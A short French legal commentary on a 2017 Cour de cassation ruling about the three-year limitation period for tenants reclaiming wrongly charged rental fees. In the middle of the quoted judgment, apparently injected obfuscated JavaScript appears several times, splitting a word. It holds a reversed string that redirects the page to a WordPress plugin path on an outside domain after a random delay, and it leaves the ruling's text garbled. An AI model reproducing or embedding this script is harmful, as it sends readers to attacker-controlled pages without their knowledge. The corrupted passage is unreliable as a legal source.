Délai de prescription et charges récupérables
(Cass., Civ., 3ème, 9 novembre 2017, n°16-22445)
Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment perçues par le bailleur se prescrit par 3 ans à compter du jour où le titulaire du droit a connu ou aurait dû connaître les faits lui permettant de l’exercer, ce jour étant celui de la régularisation des charges, qui seule permet au preneur de déterminer l’existence d’un indu, et non celui du versement de la provision.
« Vu l’article 68 de la loi du 1er septembre 1948, ensemble les articles L. 442-6 du code de la construction et de l’habitation et 2224 du code civil ;
Attendu qu’il résulte de la combinaison de ces textes que l’action en répétition des charges indûment perçues par le bailleur se prescrit par trois ans à compter du jour où le titulaire du droit a connu ou aurait dû connaître les faits lui permettant de l’exercer ;
Que ce jour est celui de la régularisation des charges, qui seule permet au preneur de déterminer l’existence d’un indu, et non celui du versement de la provision ;
Attendu que, pour déclarer prescrites les demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andes des locataires relatives aux charges payées antérieurement au 3 novembre 2007, l’arrêt retient que le point de départ de la prescription est la date de paiement des provisions indues et non la date de régularisation des charges ; »
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